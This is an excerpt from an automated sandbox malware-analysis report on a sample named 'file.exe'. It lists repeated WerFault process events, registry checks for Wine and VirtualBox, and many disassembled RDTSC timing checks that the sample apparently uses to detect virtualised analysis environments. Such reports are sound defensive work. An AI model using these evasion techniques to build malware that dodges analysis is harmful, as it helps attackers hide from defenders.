Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 825C27 second address: 825C34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 825C34 second address: 825C38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A0A06 second address: 9A0A28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796F3554h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F1A796F3546h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A0A28 second address: 9A0A2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 984E16 second address: 984E1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 984E1A second address: 984E31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1A796B9BEDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 984E31 second address: 984E35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 984E35 second address: 984E39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99FA72 second address: 99FA7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99FA7B second address: 99FA9B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F1A796B9BE6h 0x00000008 jmp 00007F1A796B9BF0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99FA9B second address: 99FA9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A02A6 second address: 9A02AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A3174 second address: 9A317E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A317E second address: 825C27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796B9BEDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xor dword ptr [esp], 5F0F924Dh 0x00000011 or dword ptr [ebp+1244BE64h], eax 0x00000017 push dword ptr [ebp+122D07F1h] 0x0000001d sub dword ptr [ebp+122D1BCDh], edi 0x00000023 call dword ptr [ebp+122D1BC7h] 0x00000029 pushad 0x0000002a jmp 00007F1A796B9BECh 0x0000002f xor eax, eax 0x00000031 mov dword ptr [ebp+122D246Eh], ebx 0x00000037 mov edx, dword ptr [esp+28h] 0x0000003b clc 0x0000003c mov dword ptr [ebp+122D3B1Dh], eax 0x00000042 mov dword ptr [ebp+122D28CCh], eax 0x00000048 mov esi, 0000003Ch 0x0000004d mov dword ptr [ebp+122D28CCh], ecx 0x00000053 jmp 00007F1A796B9BEAh 0x00000058 add esi, dword ptr [esp+24h] 0x0000005c jmp 00007F1A796B9BF0h 0x00000061 lodsw 0x00000063 jnl 00007F1A796B9BECh 0x00000069 add eax, dword ptr [esp+24h] 0x0000006d jns 00007F1A796B9BECh 0x00000073 mov ebx, dword ptr [esp+24h] 0x00000077 pushad 0x00000078 js 00007F1A796B9BE8h 0x0000007e pushad 0x0000007f popad 0x00000080 and edi, dword ptr [ebp+122D3AB9h] 0x00000086 popad 0x00000087 nop 0x00000088 push eax 0x00000089 push eax 0x0000008a push edx 0x0000008b pushad 0x0000008c popad 0x0000008d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A3332 second address: 9A337E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 mov si, ax 0x00000009 push 00000000h 0x0000000b sub dword ptr [ebp+122D3613h], eax 0x00000011 call 00007F1A796F3549h 0x00000016 jl 00007F1A796F3552h 0x0000001c push eax 0x0000001d jmp 00007F1A796F354Ah 0x00000022 mov eax, dword ptr [esp+04h] 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F1A796F354Fh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A34BF second address: 9A3538 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796B9BEAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c jp 00007F1A796B9BE6h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007F1A796B9BE8h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e mov edi, dword ptr [ebp+122D3845h] 0x00000034 sub dword ptr [ebp+122D314Fh], edx 0x0000003a call 00007F1A796B9BE9h 0x0000003f jbe 00007F1A796B9BEEh 0x00000045 push eax 0x00000046 jng 00007F1A796B9BE6h 0x0000004c pop eax 0x0000004d push eax 0x0000004e jmp 00007F1A796B9BEAh 0x00000053 mov eax, dword ptr [esp+04h] 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a jmp 00007F1A796B9BEAh 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A3538 second address: 9A353D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A353D second address: 9A3563 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1A796B9BF8h 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A3563 second address: 9A35A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push edi 0x0000000d pushad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 jnc 00007F1A796F3546h 0x00000016 popad 0x00000017 pop edi 0x00000018 pop eax 0x00000019 cmc 0x0000001a push 00000003h 0x0000001c mov ecx, dword ptr [ebp+122D247Ah] 0x00000022 mov ecx, dword ptr [ebp+122D3A4Dh] 0x00000028 push 00000000h 0x0000002a mov esi, dword ptr [ebp+122D39FDh] 0x00000030 push 00000003h 0x00000032 mov dword ptr [ebp+122D1BC2h], edi 0x00000038 push 8E65A300h 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A35A5 second address: 9A35AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A35AB second address: 9A35B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3613 second address: 9C3617 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3617 second address: 9C361B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C361B second address: 9C362D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007F1A796B9BE6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C362D second address: 9C3631 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 988320 second address: 98832F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 jbe 00007F1A796B9BE6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 988348 second address: 98834C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98834C second address: 988358 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C1961 second address: 9C1965 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C1C19 second address: 9C1C37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jmp 00007F1A796B9BF1h 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C2030 second address: 9C204B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796F3557h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C233B second address: 9C2343 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C25CA second address: 9C25EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796F3552h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F1A796F3546h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9974B3 second address: 9974B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C2D3B second address: 9C2D41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C2D41 second address: 9C2D45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C2E8C second address: 9C2E93 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C2E93 second address: 9C2EA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C2EA0 second address: 9C2EAF instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1A796F3546h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C2EAF second address: 9C2ECA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1A796B9BF5h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C2ECA second address: 9C2ECF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C2ECF second address: 9C2ED4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C2ED4 second address: 9C2EDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C316B second address: 9C3176 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F1A796B9BE6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3403 second address: 9C341E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F1A796F3551h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C341E second address: 9C3424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3424 second address: 9C346A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 jmp 00007F1A796F3555h 0x0000000c push esi 0x0000000d pop esi 0x0000000e jmp 00007F1A796F354Bh 0x00000013 popad 0x00000014 pushad 0x00000015 jmp 00007F1A796F3559h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C346A second address: 9C348A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1A796B9BF7h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C6DDC second address: 9C6DE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C6DE0 second address: 9C6DEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F1A796B9BECh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C6DEE second address: 9C6E05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1A796F354Fh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C6E05 second address: 9C6E0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C6E0B second address: 9C6E0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C889B second address: 9C889F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CBBA8 second address: 9CBBC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F1A796F3546h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007F1A796F354Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CBBC1 second address: 9CBBDD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796B9BF2h 0x00000007 js 00007F1A796B9BECh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 989E18 second address: 989E22 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1A796F354Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 989E22 second address: 989E36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F1A796B9BF2h 0x0000000c jp 00007F1A796B9BECh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CEF21 second address: 9CEF34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007F1A796F3546h 0x0000000d jg 00007F1A796F3546h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CEF34 second address: 9CEF38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 992518 second address: 99251D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99251D second address: 992524 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE4F6 second address: 9CE4FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE62C second address: 9CE630 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CEC35 second address: 9CEC3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CED86 second address: 9CED8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D08C1 second address: 9D08CA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D08CA second address: 9D092A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1A796B9BF2h 0x00000009 popad 0x0000000a popad 0x0000000b xor dword ptr [esp], 19CC2802h 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007F1A796B9BE8h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 00000018h 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c jmp 00007F1A796B9BF4h 0x00000031 movzx esi, bx 0x00000034 push B1F5A172h 0x00000039 push eax 0x0000003a push edx 0x0000003b push ebx 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D092A second address: 9D092F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D092F second address: 9D0934 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0AAF second address: 9D0AB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0AB4 second address: 9D0AB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0D5E second address: 9D0D63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0D63 second address: 9D0D68 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0E85 second address: 9D0E9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1A796F3553h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0FEE second address: 9D0FF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F1A796B9BE6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0FF9 second address: 9D100D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jnl 00007F1A796F3546h 0x00000011 push esi 0x00000012 pop esi 0x00000013 popad 0x00000014 rdtsc
